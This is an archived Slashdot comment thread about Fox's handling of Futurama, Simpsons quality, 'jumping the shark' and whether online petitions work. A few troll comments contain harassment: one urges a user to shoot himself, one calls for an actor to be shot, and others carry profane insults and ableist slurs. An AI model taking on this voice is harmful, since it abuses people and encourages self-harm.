      Does The Media really use this term? I find it odd that I am so completely out of the loop.

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    7. Re:Plenty in Ouvre; Indifferent about plug pulling by Roto-Rooter+Man · · Score: 0

      I believe he actually jumps the shark with water skis.

      See http://www.jumptheshark.com/

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      The goatse guy for president. Win one for the gaper!
    8. Re:Plenty in Ouvre; Indifferent about plug pulling by greenfly · · Score: 4, Insightful

      Yeah, it seems like all the jokes are really blunt this season, and the "archaic pop culture references" are just random. Something like "Hi Hank," "Did someone say 'Mel Blanc'?" Stupid stuff like that.

      It just seems like the current writers don't have a sense of subtlety, and so every joke is way overdone, and even sometimes replayed or drawn attention to just in case you missed it.

      Older Simpsons seasons allowed subtlety, if you didn't get it, well, you didn't get it. That also added some rewatchability to episodes.

    9. Re:Plenty in Ouvre; Indifferent about plug pulling by E-prospero · · Score: 2

      Is that a real example, or hypothetical?

      Sadly - yes, it is real. I remember seeing the episode. For the record, it was crap. But then, I hated Happy Days anyway, so I'm not sure that stands for much... :-)

      I believe such a thing happened to MASH. And SNL, like 17 times.

      There is website for shark jumping; you can check out your favourites.

      While I do not watch TV on a regular basis, my mother is an avid Buffy fan. She loved that episode

      As did I. And I hate musicals (as a rule).

      Does The Media really use this term?

      I can't say I've ever seen it used in mainstream media. AFAIK, it's mostly used in/on fan sites.

      I find it odd that I am so completely out of the loop.

      I find it easier to assume that there is always a loop I'm not in. That way it's a pleasant surprise when I find a new loop :-)

      Russ %-)

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    10. Re:Plenty in Ouvre; Indifferent about plug pulling by Anonymous Coward · · Score: 0

      It's amazing how well you parody the tards 'on the internet' who they parody on the Simpsons.

    11. Re:Plenty in Ouvre; Indifferent about plug pulling by nexex · · Score: 2

      here here!
      to me it seems they are relying more and more on sex and body humor than what simpsons is known for. -- I blame it on the death of Phil Hartman aka Troy McClure ;)

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    12. Re:Plenty in Ouvre; Indifferent about plug pulling by mgblst · · Score: 2

      I take it as they are just seeing how stupid the public is, and deliberately making worse episodes. It's like a bet, how shit can they go, and people will still watch them!

      Don't worry, im pretty sure they are close to the bottom now though.

    13. Re:Plenty in Ouvre; Indifferent about plug pulling by 1010011010 · · Score: 2

      "You may remember me from such documentaries as, 'Man vs. Nature -- the Road to Victory!'"

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    14. Re:Plenty in Ouvre; Indifferent about plug pulling by Loligo · · Score: 1

      >the Buffy Musical episode

      The Buffy Musical episode ("Once More With Feeling") actually got nominated for some awards. It's up there with the "nobody can talk" episode ("Hush") for gimmicks that actually worked.

      -l

    15. Re:Plenty in Ouvre; Indifferent about plug pulling by Carbonite · · Score: 1

      It just seems like the current writers don't have a sense of subtlety, and so every joke is way overdone, and even sometimes replayed or drawn attention to just in case you missed it.

      Exactly.

      It seems like the writers are so proud of themselves that they have to make sure that everyone notices a joke. In older episodes the characters rarely noticed gags because they were meant for us, the viewers. Now characters will not only notice the gags, they'll discuss them. Being self-referential is fine in small doses, but it's just killing the Simpsons now.

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    16. Re:Plenty in Ouvre; Indifferent about plug pulling by zerocool^ · · Score: 2

      Better that than risk something awful happening, like one of the voice actors quitting or getting canned...

      He also missed Maude Flanders. Gone. Poof. She's dead. Her voice performer quit. Notice you don't see much Helen Lovejoy either - same voice actor.

      ~will

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    17. Re:Plenty in Ouvre; Indifferent about plug pulling by Anonymous Coward · · Score: 0
      Mulder and Scully Kiss episode of X-Files

      X-Files eh? Now that's something I know about. FOX filmed one of the last episodes in a certain location, middle of nowhere, I happen to be intimately familiar with. Seriously, Salton Sea. I wasn't there at the time, but they let us explore the set after they where done. FOX may not have a clue on programming, but they sure do know how to treat guests.
    18. Re:Plenty in Ouvre; Indifferent about plug pulling by sean23007 · · Score: 2

      "My 634 movies have earned over $20 in Springfield alone!"

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    19. Re:Plenty in Ouvre; Indifferent about plug pulling by Hangtime · · Score: 2

      "You may remeber me from such films as 'Today we live...Tomorrow we die!' and 'Glady's the Groovy Mule'.

    20. Re:Plenty in Ouvre; Indifferent about plug pulling by Gulthek · · Score: 3, Interesting

      It's now used to describe the episode in a series where long time fans give up watching a long running series because it has just become too much of a joke, too much of a cliche, or so far from the original premise that it doesn't warrant watching anymore.

      No no no! The phrase "jump the shark" is used to describe a specific episode in which the series in question peaked, leaving the show nowhere to go but down unless they "jump back."

      Don't just trust me on it: check out the Jump the Shark FAQ.

    21. Re:Plenty in Ouvre; Indifferent about plug pulling by bigfrigginfrogman · · Score: 0

      He wasn't her boyfriend! He was more of a protective brother. The wheelchair geek what the love interest. Don't knock the writing if you can't even understand it!

    22. Re:Plenty in Ouvre; Indifferent about plug pulling by birder · · Score: 2, Insightful

      My best example would be Moonlighting when Bruce Willis and Cybil Sheppard finally sleep together. The show lost it's sexual tension that made it fun to watch.

    23. Re:Plenty in Ouvre; Indifferent about plug pulling by gosand · · Score: 2
      I have found that in more recent seasons, I like episodes better on the re-runs. There are a few epoisodes that I really liked in the first run, but the ones that just weren't as good the first time around are a little better the next. Maybe I am just able to pick up on some of those subtleties the second time around.

      Not only that, but Simpsons fans are probably THE most critical fans of any show. The beauty is the Groening knows it - hence Comic Book Guy's now famous phrase "Worst episode ever". They have produced some good episodes recently, such as the one that was the classic stories (Homer, Joan of Arc, etc). But I highly doubt they will even be able to touch their best episode ever, Selma's Choice. (Homer and the sandwich, Bart and Lisa go to Duff Gardens) OMG - I am giggling just thinking about it.

      The Simpsons is THE standard, and Futurama isn't on that level - but it is the closest thing out there. Shame on Fox.

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    24. Re:Plenty in Ouvre; Indifferent about plug pulling by Che+Guevarra · · Score: 1

      The Simpsons jumped the shark when Maude Flanders was killed. A possible pre-shark jumping episode was the Michael Jackson insane asylum episode.

    25. Re:Plenty in Ouvre; Indifferent about plug pulling by wednesdaywar · · Score: 1

      Dammit! Fonzie jumped the shark on WATERSKIS, not a motorcycle. I'm a little ashamed of the technically precise Slashdotters overlooking this.

    26. Re:Plenty in Ouvre; Indifferent about plug pulling by Hoarke42 · · Score: 1

      His food chain film strip in the episode where Lisa becomes a vegetarian is my absolute favorite clip on the show.

    27. Re:Plenty in Ouvre; Indifferent about plug pulling by Strange_Attractor · · Score: 2
      You may remember me from such Driver's Ed films as "Blood on the Highway", and "Alice Doesn't Live Anymore".

      Damn, we miss you, Phil.

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    28. Re:Plenty in Ouvre; Indifferent about plug pulling by NMSpaz · · Score: 1

      I doubt it's a coincidence that in the clip show episode a couple weeks ago, at the song in the very end (right after saying they'll never get cancelled), an image of Homer jumping over a shark while waterskiing is shown...

  19. Control of TV series by Anonymous Coward · · Score: 5, Interesting

    As some of you are aware, when J. Michael Straczynski attempted to make a sequel to his popular Babylon 5 series, the network in charge (TNT) tried to control the creative direction of his show, Crusade. After only 13 episodes, Straczynski walked away saying that he either does Crusade his way or not at all. TNT had refused to relinquish creative control to the creator. Apparently, a similar showdown occurred between Simpsons creator Matt Groening and the FOX network while developing the Futurama series.

    Groening said in a Playboy interview: "The current atmosphere in television is one of anxiety and fear. And Fox has been worried that Futurama isn't like the Simpsons. And I've said, 'No, it's exactly like the Simpsons: It's new and original.' But that hasn't calmed them down. Also, Fox expected to have our show under its thumb and was quite surprised when I adamantly insisted that we put this show together exactly as we do The Simpsons, with complete autonomy. So that's why you haven't heard anything positive about Futurama from Fox during the past year."

    So, where TNT failed to compromise and save Crusade, the FOX network acquiesed to the creator and now has had a successful show in Futurama.

    1. Re:Control of TV series by Anonymous Coward · · Score: 0

      Groening said in a Playboy interview...

      You mean you READ Playboy????

    2. Re:Control of TV series by beta21 · · Score: 1

      Groening said in a Playboy interview:

      Like yourself I was reading this for just the articles. This was the one with blonde with a lovely tatoo of a butterfly on her left butt cheek, apparently so I've been told

    3. Re:Control of TV series by bryan1945 · · Score: 0

      Yup- 5 replies about Playboy, yet zero replies about Strac* (like I could remember how to spell that) and his fight with TNT and such. But *Playboy*- YOO HOO, Little Man-Meat Get-Hard!

      Crusade or Futurama is so much better than pics of industry chicks. (Oh, sorry, I'm talking to the group that has not had that experience. [Yes I did, but I decided to get married to a normal woman instead]) Trust me kiddies, go get a non-model (but a good looking, not a "supermodel" {zero chance unless you're Tom Cruise} woman for a wife, the ego bullshit is not worth the 3-5 years of hotness she has- they all age the same at some point.)

      So you are saying that TNT saved Crusade by fucking with every element of the original idea and eventually cancelling the show, that by doing *oh hell does it really matter what these assholes say*, something that something will happen? These asshole monkey snot spewing cheese imps would only LOVE for you ASSHOLES TO DIE AS QUICKLY AS POSSIBLE! AND DO NOT BOTHER LEAVING A TIP! You have already fucked up any interesting sites we MAY HAVE FOUND THE REMAINS OF YOUR WHORE MOTHER(s) AND/OR FATHER(S), AND/OR PET(S), but you have already reported your activities. I(We) just hope you get your just rewards.

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    4. Re:Control of TV series by Anonymous Coward · · Score: 0

      Hmmm. I wonder. If I didn't mention Playboy do you think I'd still have gotten moderated up?

    5. Re:Control of TV series by wednesdaywar · · Score: 1

      I think there's also a point to be made about allowing shows time to "find their stride". It rare that a long running show's first year is it's best. ST:TNG, X-FILES, BUFFY, etc, all matured and grew through the years. Once the introductory phase is over, the writers have time to expand and strengthen the characters, etc.

      I think Crusade would have gotten better had it been allowed room to grow. I remember reading that shows like Cheers were on the chopping block after losing in their time slots constantly. Networks these days cancel shows after 2 episodes...

    6. Re:Control of TV series by bryan1945 · · Score: 1

      Nah, I read this one at -1. I like the Simpsons and Futurama.

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  20. The 7 pm Sunday death slot by cowboy+junkie · · Score: 2, Insightful

    I'm amazed Futurama has lasted as long as it has considering that it's not only in the 7 pm Sunday death slot, but that it's preempted continuously during the football season. Add to that the fact that this past season didn't start with regular new episodes until January, and you've got a recipe for lost viewers.

    1. Re:The 7 pm Sunday death slot by NanoGator · · Score: 2

      I'm amazed that when they aired Star Wars IV, they cancelled Futurama that night. Funny thing is, normally Futurama would have been right after SW, instead they put on two eps of King of the Hill.

      Why they preempted Futurama from following Star Wars I'll never know.

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    2. Re:The 7 pm Sunday death slot by Anonymous Coward · · Score: 0

      FOX SHOULD HAVE AIRED FUTURAMA AFTER STAR WARS. Think about it. People who like StarWars have gotta like Futurama. Fox would have gotten a new group of viewers for their show and then wouldn't have had to cancel it. Stupid, stupid, FOX.

    3. Re:The 7 pm Sunday death slot by Anonymous Coward · · Score: 1, Insightful

      Not only should they have done it, but they purposefully pre-empted it after Star Wars. If the schedule that day had gone as normal, Star Wars would have ended at 7 just in time for Futurama.

      I can't help but think that Fox was intentionally trying to kill off Futurama. *would really love to hear Fox's reason for doing that before coming to such a cold conclusion.*

    4. Re:The 7 pm Sunday death slot by nexex · · Score: 2

      it seems to me like it is always on a different time, you watch it one week and go back the same time the next, and its simpons THEN futurama...no wonder the ratings are poor, who wants to play scheduling roller coaster?

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    5. Re:The 7 pm Sunday death slot by Anonymous Coward · · Score: 0

      "it seems to me like it is always on a different time, you watch it one week and go back the same time the next, and its simpons THEN futurama...no wonder the ratings are poor, who wants to play scheduling roller coaster? "

      Now you know why my PVR's never set to catch it.

    6. Re:The 7 pm Sunday death slot by Anonymous Coward · · Score: 0

      Futurama's already dead. That's why they aren't promoting it.

      Reason: (do I have to tell you this?) Low Ratings.

    7. Re:The 7 pm Sunday death slot by Anonymous Coward · · Score: 0

      Re: sig

      Truly a great quote, from a great author. That was so insightful, it really caused me to think of things in a different way, and it was amusing too. All this from the lyrical genius that is Jay-Z. His commentary on his money and prostitutes is truly fascinating; an inspiraton for millions of underpriveleged children to live the glamorous life of delinquent sexuality and criminal behaviour. Thank you for sharing this with all of us.

  21. Lifespan of a comedy style? by ZiZ · · Score: 5, Insightful
    Quoth the pigeon:
    Greg the bunny is funny.

    And the recent episodes of the X-Files are deeply conspiracy-laden, heart-wrenching and mind-busting masterpieces.

    Personal preferences aside - Fox has had a history of poor choices where the schedule and programming of their stations is concerned.

    On another subject, quoth the interview:
    But Groening is also pragmatic about the show's shelf-life. "Because animation is such an intensely painstaking process, it wears people out, and audiences are always looking for surprises. When any character is as stupid as Homer Simpson, it's hard to keep surprising the audience."

    Groening has a remarkably mature and insightful view of his own mortality and the limits of a particular genre. While the Simpsons make an excelent foil for poking fun at any cultural situation, economic event, or global personality (and as such, has a much much longer life expectancy than, say, Garfield (no offense to Garfield), who has said just about all there is to say on the subjects of laziness, gluttony, and hatred of dumb-but-cute), at some point, almost certainly, the majority of people watching the show will say "Ho hum, Homer's dumb, headlines, Bart whines, Lisa's smart - who gives a fart? Pass the booze - I'd rather snooze." (Or something, perhaps in slightly less doggerel.) We can only hope that Groening recognizes this point and brings us to a stunning (and satisfying) conclusion before the show becomes bogged down with the dead weight of unfunny seasons.

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    1. Re:Lifespan of a comedy style? by spike+hay · · Score: 2, Funny

      I liked this quote from the last ep:

      Homer: (sobbing) OOOHH!! I'm a rageholic. I can't live without ragehol!!

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    2. Re:Lifespan of a comedy style? by gnovos · · Score: 3, Insightful

      We can only hope that Groening recognizes this point and brings us to a stunning (and satisfying) conclusion before the show becomes bogged down with the dead weight of unfunny seasons.

      I think one of the really neat things about the Simpsons is that it reflects our own cultural insanity. The day when the Simpsons runs out of material will be the day we, as a culture, finally move ourselves out of the wasteland of ignorance and stupidity. It's win-win!

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    3. Re:Lifespan of a comedy style? by ZiZ · · Score: 2, Interesting
      > The day when the Simpsons runs out of material...

      But that's just the point I was making (or trying to make) - the Simpsons won't run out of material anytime in the forseeable future, but the format it is presented in may well get old. How much interesting variation on the theme can Groening continue to come up with? And notice I say "continue" - I think he's done an amazing job thus far.

      > ...move ourselves out of the wasteland of ignorance and stupidity.

      So, you're saying, once we start resembling Futurama more than the Simpsons? *g*

      On a side note, try The Simpsons Archive for way more than you wanted to know about the Simpsons...

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    4. Re:Lifespan of a comedy style? by desiato · · Score: 0

      Or how about: "Stupid minor setback!!! This world sucks!!"

      --desiato

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    5. Re:Lifespan of a comedy style? by ryanvm · · Score: 2

      [...] and as such, has a much much longer life expectancy than, say, Garfield (no offense to Garfield)

      Uh, Garfield is a cartoon cat. You don't have to apologize to him.

    6. Re:Lifespan of a comedy style? by Razor+Sex · · Score: 1

      While mature, I don't think Groening's viewpoint is accurate. People already say that Homer is dumb, Lisa's smart, etc. The Simpsons has never been a show that revolved around the diversity of the charecters. We know that Homer is extremely stupid - that's why we love him and for over a decade now the show has existed on those simple charecter premises. Why would it suddenly cease to be funny to people? Furthermore, even if the devoted viewers like ourselves do start finding the show unfunny, it's constantly bringing in new ones. Why would they stop?

      I think the Simpsons will end long before it becomes unfunny, rather when Groening decides to end it.

    7. Re:Lifespan of a comedy style? by CyberPack · · Score: 1

      Garfield has more reality than a lot of people. Not apologising to him is like not excusing yourself when you're too lazy to work and surf the net instead. If you think of Garfield as an icon of your desires it makes sense to apologise to him (but only ig you think you've caught his interest enough to offend him).

    8. Re:Lifespan of a comedy style? by Anonymous Coward · · Score: 0

      I am intrigued by your comments. Can I subscribe to your newsletter?

    9. Re:Lifespan of a comedy style? by Anonymous Coward · · Score: 0

      I write a newsletter which is similarly intriguing. A subscription is five dollars.

      - Guy who needs money

  22. Re:FGP! by Anonymous Coward · · Score: 0
    JeffK, do you know what time it is?

    It's PAIN O'CLOCK

  23. Family Guy.. by VoiceOfRaisin · · Score: 1

    ..was also canceled cause Fox put them on in a bad timeslot and didnt promote them. And im not alone when i say that it was/is the best show EVER.

    1. Re:Family Guy.. by spike+hay · · Score: 2

      ..was also canceled cause Fox put them on in a bad timeslot and didnt promote them. And im not alone when i say that it was/is the best show EVER.

      Family Guy is awesome. Like a less politically correct Simpsons. Personally, I think it was even funnier than the Simpsons. It pissed me off that they canceled it. When they give a show a bad timeslot and no promotion, why the hell to they expect it to do well? The Family Guy could have been another Simpsons.

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    2. Re:Family Guy.. by swoopx · · Score: 1

      to be fair though, they did run family guy after the '99 super bowl if I'm not mistaking. But after that there was nothing... I was shocked when I realized it was still being aired a few months back. And I must say it is the best show on TV right now, I've downloading episodes off of kazaa alot lately and I've heard they are trying to get UPN to pick up the show.

    3. Re:Family Guy.. by Anonymous Coward · · Score: 0

      I will never, ever, become a regular watcher of a 'gimmick' show where they have a fucking baby who talks and acts like an adult. I've made the mistake of watching part of an episode of Family Guy several times. I quickly switched to a different channel.

    4. Re:Family Guy.. by Anonymous Coward · · Score: 0

      Lame Mad Magazine-style movie parodies are not funny either. That show had the suck.

    5. Re:Family Guy.. by Solokron · · Score: 1

      Someone better pick up the show. It is a shame to see good ones go.

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  24. Matt Groening is a sellout by Gizzmonic · · Score: 1, Troll
    If you want to really see his best work, you'll have to look at his early Life in Hell comics (pre-1984 is best). His satire bites, it hurts, it actually has teeth.

    The Simpsons was basically a Punch-and-Judy show when it premiered on Tracey Ullman. It staggered through a mediocre first year, propelled mostly by Bart Simpson's "negative role model" image which was further sensationalized by the media.

    Conan O Brien's writing talents mad the show somewhat more watchable, however, most episodes consist of predictable sitcom plots, poorly conceived visual jokes, and celebrity guest appearances-the modern equivalent to Scooby-Doo. And it's part of pop culture for all the same reason-it's formulaic structure and catchphrases. Yes, "D'oh!" has become the "Zoinks!" of the year 2000.

    Matt, it's been a long, dull ride, and you've made a lot of money. I can't say I blame you, but I do feel sorry for the people who think the Simpsons are "clever". I wonder if they've ever read anything by Evan Dorkin or Dan Clowes.

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    1. Re:Matt Groening is a sellout by NanoGator · · Score: 5, Insightful

      "I do feel sorry for the people who think the Simpsons are "clever". I wonder if they've ever read anything by Evan Dorkin [houseoffun.com] or Dan Clowes [fantagraphics.com]."

      Okay... so the Simpsons really isn't funny. I guess all my laughter was an allergic reaction to really bad TV?

      I think it's funny how people use their individualism to try to rise above other people. They never seem to realize that the tip of their nose ends up higher than their forehead when they do that.

      I have no regrets. Both the Simpsons and Futurama are quite amusing to watch, and their style of humor has yet to be replicated by anybody. Hmm... isn't that the definition of clever?

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    2. Re:Matt Groening is a sellout by ceejayoz · · Score: 1

      If it was really that awful, it wouldn't have done so well. Time Magazine named it as one of the 25 things that changed the 20th Century - no small feat for a cartoon show.

      You might feel sorry for those of us who enjoy the Simpsons, but if you think about it, we should be feeling sorry for you. Sorry your pseudo-intellectual snobbery has stopped you from enjoying what the rest of us find a very funny show.

    3. Re:Matt Groening is a sellout by benedict · · Score: 2

      Aren't you cool.

      There are people who are familiar with Dan Clowes
      and still like the Simpsons, you know.

      But we're probably not as cool as you.

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    4. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0

      It's true that the Simpsons weren't as biting as "Life in Hell" but it still stands as one of the best shows on TV. It seems that almost regardless of the show, the talent or the freedom of writing given, acerbic wit and satire can't make it on to the TV. Even with Evan Dorkin, it's hard to tell watching "Space Ghost: Coast to Coast" what episodes he's helped write until you see the credits. That said, SG:C2C and TV Funhouse are probably the closest things you'll find to what "Life in Hell" was like. Still, what I wouldn't give for a series of Milk and Cheese short episodes.

    5. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0
      "I do feel sorry for the people who think the Simpsons are "clever". I wonder if they've ever read anything by Evan Dorkin [houseoffun.com] or Dan Clowes [fantagraphics.com]."
      Okay... so the Simpsons really isn't funny. I guess all my laughter was an allergic reaction to really bad TV?


      Nope, we're all just fucking stupid for liking a popular show. Clearly the original poster is much smarter than us, so we should all just shut up and start reading up on the stuff he thinks is better. After all, we've obviously never heard of it.

      I'm so sick of reading glib variations on this same retarded "I feel sorry for the people who like X, they should see Y" comment in every music or movie review I read. Oh well, whatever it takes to prop up your ego...

    6. Re:Matt Groening is a sellout by Mr.+Piddle · · Score: 1

      I'll second that. On the surface, the Simpsons appears to be a washed-up trash sitcom like any other. However, why is it that nearly every episode has something totally unexpected that only heightens my respect for the writers? Just tonight, I saw Troy McClure in "Planet of the Apes", and it was as if Mel Brooks was on staff for the episode!

      While I'm not ready to rank Matt Groening among the great masters of classical music, he did invent one of the most ingenious and long-running series in television history. One quality that the Simpsons does share with good classical music is that it doesn't seem to get old. Most episodes just don't get less funny in time. If that isn't a testament to the quality of the Simpsons, I don't know what is.

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    7. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0

      "I'm so sick of reading glib variations on this same retarded "I feel sorry for the people who like X, they should see Y" comment in every music or movie review I read. Oh well, whatever it takes to prop up your ego... "

      Agreed. He could so easily have said "You like the Simpsons? Check this out...", but he tainted his preferences with his snobby attitude.

      Too bad he hasn't been modded down.

    8. Re:Matt Groening is a sellout by rnb · · Score: 1

      Creating satire with teeth in a major medium is a fine line to walk. Either you create stuff that totally rocks and nobody will ever see because Fox thinks it's too edgy, or you create stuff that two entities consider funny: Fox and your grandmother.

      I think Groening has done a reasonably good job of trying to keep both his audience and the assholes in suits happy. It's not perfect, but nothing is.

    9. Re:Matt Groening is a sellout by Lenolium · · Score: 0

      I wholeheartidly agree, just because people like something, doesn't mean it is horrible. There are plenty of things out there that aren't popular, but that doesn't mean that they are any good.

    10. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0


      Satire has been done. Let's move on.
      Making fun of things isn't funny anymore.

    11. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0

      The Planet of the Apes episode was done years ago. The point is that the show has grown tired and formulic, and the new epidodes just ain't that funny for the most part. Even Groening admits it.

    12. Re:Matt Groening is a sellout by GooseKirk · · Score: 2

      OK, I'm enough of a pathetic geek to admit that I've read all of Clowes' stuff and damn near all of Dorkin's, and I disagree. The Conan O'Brien episodes were way better than, say, Hectic Planet or Velvet Glove.

      And lighten up a bit - the Simpsons is a different product for a different market than Dork! or Eightball. It's chalk and cheese (and a real comics geek would remember which comic that phrase played prominently in, neener neener). You couldn't convince me that the target demographic for Dork! or Eightball is inherently superior in some way than the Simpsons' demographic. I hang out in a comics shop quite a bit more than is probably healthy, and even though it's a good comics shop with some amazing people around it, the pseudo-hipster cultural elitism shtick is tired. It'd be great if Dork! and Eightball were exposed to a wider audience, but sniffing down your nose at the Simpsons isn't the way to build that audience.

    13. Re:Matt Groening is a sellout by aron_wallaker · · Score: 1

      Really, can you imagine a half-hour of Milk & Cheese ? Not a half hour of 5-minute segments, but an actual half-hour show ? Not based on anything Dorkin has done so far. It's easy to be a snob (as you've just shown) but out of all of Dorkin's comics there's very little that would stand up as a weekly half-hour show. Even Hectic Planet devolved into a short (not full-issue) episodes towards the end. That just wouldn't work as a TV series. What happens if your write the funniest Simpsons episode ever....but it only comes out to 16 minutes ? You have to find some way to stretch it out by 6 extra minutes (35%) because the network's not looking for any 16-minute episodes.

      I like Evan Dorkin (not a big Clowes fan)....and I've got 5$ that says he watches the Simpsons, at least the reruns. If you work at home and have the TV on the Simpsons reruns are the highlights of daytime TV....and Dorkin has to have some excuse as to why him comics come out once every blue moon.

    14. Re:Matt Groening is a sellout by SoupIsGoodFood_42 · · Score: 1

      Just out of interest. What kind of music do you listen to?

    15. Re:Matt Groening is a sellout by jcsehak · · Score: 2

      but I do feel sorry for the people who think the Simpsons are "clever". I wonder if they've ever read anything by Evan Dorkin [houseoffun.com] or Dan Clowes [fantagraphics.com].

      Man, do I feel sorry for the people who think Evan Dorkin and Dan Clowes are "clever." I wonder if they've read anything by Charles Dickens, Raymond Carver, or Vladimir Nabokov.

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    16. Re:Matt Groening is a sellout by Gizzmonic · · Score: 2
      My point exactly. Have these people opened a book lately? Been to the symphony? Perhaps supported their local community theater by viewing Checkov's Under the Cherry Moon?

      Alas, I fear not. Guys, seriously, you shouldn't run from an inoculation of culture. Think of it as your intellectual booster shot. You'll be glad you did!

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    17. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0

      Under The Cherry Moon was by Prince not some star trak extra yuo genus.

    18. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0
      has yet to be replicated by anybody. Hmm... isn't that the definition of clever?

      errr......like fision in a test tube????

    19. Re:Matt Groening is a sellout by gowen · · Score: 2
      Checkov's Under the Cherry Moon?
      "The Cherry Orchard" perhaps. "Under the Cherry Moon" is an astonishingly bad Prince movie/album.
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    20. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0

      Have these people opened a book lately? Been to the symphony? Perhaps supported their local community theater

      Yes, yes, and yes. What makes you think having a sense of humor precludes one from being cultured? Hell, half of The Simpsons' humor would be lost on someone who hadn't done these things.

    21. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0

      You can move on. See ya!

    22. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0

      I don't know, but I'll guess music from the classical era.

    23. Re:Matt Groening is a sellout by Anonymous Coward · · Score: 0

      I think you missed his point.

  25. Call 911! by Anonymous Coward · · Score: 0

    I think we've got a suicide attempt here... Fox is terminating Futurama, X-files, and Ally McBeal to replace them with new shows like... Greg the Bunny?!? WTF?!?

  26. NOT an INTERVIEW by Anonymous Coward · · Score: 0

    that is NOT an interview, it IS an article sprinkled with a few quotes from Groening...

  27. WHY WIL WHEATON SHOULD BE SHOT AND EATEN by Anonymous Coward · · Score: 0

    brap! brap brap!

    1. Re:WHY WIL WHEATON SHOULD BE SHOT AND EATEN by Anonymous Coward · · Score: 0

      I AGREE, STRONGLY

  28. Re:FUCK YOU C64 Style by Anonymous Coward · · Score: 0

    Damn your infinite loops!

  29. Re:Do not adjust your browser ... we control the . by stoolpigeon · · Score: 1, Troll

    No what made it hard to read was the fact that the Brittish no nothing about the proper use of English.

    I could barely read it, there were so many mispellings in the dumb thing.

    And their colloquialisms are terrible, but that's a "different kettle of fish". Oh please.

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  30. Re:*BSD is dying by Anonymous Coward · · Score: 0

    must be rough having this be the high point in your day. I recommend a .45 to the brain. It will be over in a flash, we will thank-you, your mother will thank-you, in fact i'd go so far as to say the WORLD would thank-you. But the bottom line is PLEASE PLEASE DO NOT REPRODUCE for the good of our species.

  31. Um.... What? by CurtisRWC · · Score: 2, Interesting

    Futerama would be good if it had better characters, better animation, better plots, better jokes, better acting, and better flow.

    Compared to what?

    The animation on Futurama is on-par, if not slightly better than the Simpsons (which is one of the best animated cartoons out there). If you don't like it, I'm guessing it is for purely asthetic reasons. Personally, I don't like how panning and rotation look, since computers give them a smoothness that just seems jarringly out of place to me - but then again, that's just me. The choice of colors is different as well. Where The Simpsons has a more cartoony look - the colors are brighter and have more contrast, Futurama tends to stray away from bright and primary colors, going for a paler and more blended palette.

    The characters, plots, flow, and jokes in Futurama are very different than in The Simpsons. This has everything to do with the universe it is set in being based solely in Science Fiction rather than the mostly realistic universe that The Simpsons has built up over the years. Although most of the "rules" of both the shows are similar, you can easily get away with things in one that you couldn't in the other. Different sets of rules need different characters. Bender wouldn't fit in with The Simpsons just as much as Lisa wouldn't fit in with Futurama.

    That being said, I prefer The Simpsons in its prime (although the Homer/Hulk episode this week was pretty good) to Futurama at its best. Why? Futurama's structure is so open that nearly anything can be done plot-wise. The Simpsons was based somewhat in reality, which gave the writing team a bit of focus. When absolutely anything can happen, it isn't as special when it does.

  32. Someone should tell Matt... by tb3 · · Score: 4, Insightful

    That online petitions don't work.

    This came out of a report from an anime convention last week. The studio reps said that they would pay attention to petitions for new series, but not online petitions. I suspect that Fox would pay even less attention.

    I don't think there's been a single example of an online petition having an effect. Please provide examples if I'm mistaken.

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    1. Re:Someone should tell Matt... by smart.id · · Score: 1

      I have wondered the SAME EXACT THING. Someone please mod this guy up, his comment needs to be noticed.

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    2. Re:Someone should tell Matt... by great+throwdini · · Score: 2

      I don't think there's been a single example of an online petition having an effect. Please provide examples if I'm mistaken.

      Well, there is at least once recent example of FOX responding to letter-writing campaigns. One such campaign rescued Party of Five - the second story on the other side of this link is supportive of that claim.

      I don't believe that online petitions work, but if I recall correctly, online communications did assist in the PoF fight by mobilizing people on PoF-related email lists (yes, this was quite a while ago) to write letters. Likely, this approach would prove more effective. Kill a tree, save a show!

      Not exactly to your point, but close.

    3. Re:Someone should tell Matt... by Anthracks · · Score: 1

      I don't really see the relevance of that. An actual, typed or handwritten letter, signed by a real person, is in no way similar to an online petition. It has been demonstrated on many ocassions that executives, lawmakers, etc. pay attention when their mailbox floods with tons of stamped envelopes, but they don't care if your petition has one million "signers". It is trivial to create a fake online petition; it's a bit more work to fake thousands of letters.

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    4. Re:Someone should tell Matt... by GigsVT · · Score: 2

      The SSSCA online comment form that drew pretty much only negative response did have an effect, but they were asking for comment, rather than getting an unsolicited list of online petitioners, so there is a difference.

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    5. Re:Someone should tell Matt... by GigsVT · · Score: 1

      Yeah, it sure makes that last scene anti-climatic when the lawyer plops down a CDR full of emails to the judge to prove Santa exists.

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    6. Re:Someone should tell Matt... by great+throwdini · · Score: 1

      I don't really see the relevance of that [PoF letter-writing campaign].

      1. FOX demonstrably responded to fan concerns in the past. (This shows, at least, that fans aren't outright ignored in all cases.)
      2. The PoF campaign utilized the Internet to motivate letter writing. (Arguably anecdotal, as the article doesn't touch on it and my old listserv archives aren't available).

      You're right that a handwritten letter != an online petition. You're also stating the obvious. Somehow the larger issues elude you. Online petitions probably do little more to soothe watcher's intial shock when confronted with cancellation. However, (1) FOX has been known to listen and (2) there are other ways to leverage the Internet.

    7. Re:Someone should tell Matt... by mindflux · · Score: 1

      That's funny, I petitioned to get Invader Zim back on nickelodeon.. and so did about another half million viewers. It's back on the air.. just luck? I think not.

    8. Re:Someone should tell Matt... by chroma · · Score: 2, Informative
      I saw this recently from Babylon 5 creator J. Michael Straczynski:

      http://america.net/~judge/jms04-18

      The other thing that needs to be emphasized, in terms of fan letter campaigns, is that the currency of the fan campaign is that it's been in large measure devalued by over-use, at least in terms of how the studios see it (having been told this straight up). These days *any* show that is nominally SF or fantasy, when its time ends, gets a writing camapign to get it back or keep it on the air. Good show, bad show, indifferent...the campaigns come regardless. So it doesn't really carry the same weight it did once.
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    9. Re:Someone should tell Matt... by Viking+Coder · · Score: 2

      It's not "back on the air", it hasn't left the air, yet. They made enough episodes to keep running, but when they're done, they're not going to make any more.

      Just like The Family Guy, just like Futurama.

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    10. Re:Someone should tell Matt... by dirkdidit · · Score: 1

      If I am not mistaken, an online petition saved Family Guy the first time FOX threatened to can it. The response was so enormous to that petition, how could they not notice it?

    11. Re:Someone should tell Matt... by BathTub · · Score: 1

